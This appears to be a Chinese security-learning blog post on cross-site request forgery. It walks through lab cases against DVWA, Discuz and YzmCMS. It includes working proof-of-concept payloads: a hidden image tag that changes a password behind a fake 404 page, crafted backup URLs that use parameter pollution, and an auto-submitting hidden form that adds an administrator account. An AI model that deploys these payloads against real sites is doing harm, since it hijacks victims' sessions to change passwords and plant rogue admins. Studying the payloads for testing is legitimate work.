zoukankan      html  css  js  c++  java
  • 苏醒的巨人----CSRF

    一.CSRF

    跨站请求伪造(Cross-Site Request Forgery,CSRF)是指利用
    受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点
    击恶意链接或者访问包含攻击代码的页面,在受害人不知情的
    情况下以受害者的身份向(身份认证信息所对应的)服务器发
    送请求,从而完成非法操作(如转账、改密等)

    1.可能出现的地方

    所有的业务点都需要进行测试
    1. 转账
    2. 修改密码
    3. 个人资料
    4. 登陆
    5. 加购物车、收藏商品
    6. 开通业务
    …
    

    2.CSRF漏洞挖掘

    csrf感觉好高级的漏洞,有点似懂非懂,还得沉淀,只能照抄老师的方法,等挖到才能自己整理好思路。





    二.几个案例

    (1).dvwa,级别low

    抓一个包,

    get方式,只要把url给管理员打开就能修改他的密码。构造get网页

    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>Document</title>
    </head>
    <body>
      <img src="http://test.com/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change" border="0" style="display: none;">
      <h1>404</h1>
      <h2>page not found</h2>
    </body>
    </html>
    

    打开这个页面,密码就会修改

    (1). discuz cms 数据库备份csrf

    通过双重认证

    抓备份数据库的包


    第一个数据包为假的,过掉
    http 参数污染

    在这构造

    csrf请求

    http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=backup_180504_9dJ7cL
    
    http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=sss&backupfilename=ldx
    

    --还要将最后面的&与=URL编码一下

    http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=sss%26backupfilename%3Dldx
    

    然后用普通用户去发帖,把payload放帖子里,让管理员访问触发漏洞

    管理员游览后

    (3)yzcms 添加管理员csrf

    在添加管理员处抓个包

    是post请求可以尝试转换get请求
    写个post的页面

    <!DOCTYPE html>
    <html lang="en">
    <head>
    	<meta charset="UTF-8">
    	<title>Document</title>
    </head>
    <body>
    	 <form name="poc" action="http://test.com/yzmcms/index.php/admin/admin_manage/add.html" method="POST" type="hidden">
          <input type="hidden" name="adminname" value="ldx" />
          <input type="hidden" name="password" value="ldxldx" />
          <input type="hidden" name="password2" value="ldxldx" />
          <input type="hidden" name="email" value="" />
          <input type="hidden" name="realname" value="" />
          <input type="hidden" name="roleid" value="1" />
          <input type="hidden" name="dosubmit" value="1" />
          <input type="submit" value="Submit request" style="display: none;" />
        </form>
    </body>
    <script>poc.submit();</script>
    </html>
    


    成功添加用户

  • 相关阅读:
    Hive的安装和使用
    Redis 慢查询日志
    GO语言-数组
    ZooKeeper-3.3.4集群安装配置
    GO语言-基础语法:循环
    GO语言-基础语法:条件判断
    GO语言-基础语法:变量定义
    nginx限制下载速度
    Centos7下Etcd集群搭建
    浅谈spj
  • 原文地址:https://www.cnblogs.com/hackxf/p/CSRF.html
Copyright © 2011-2022 走看看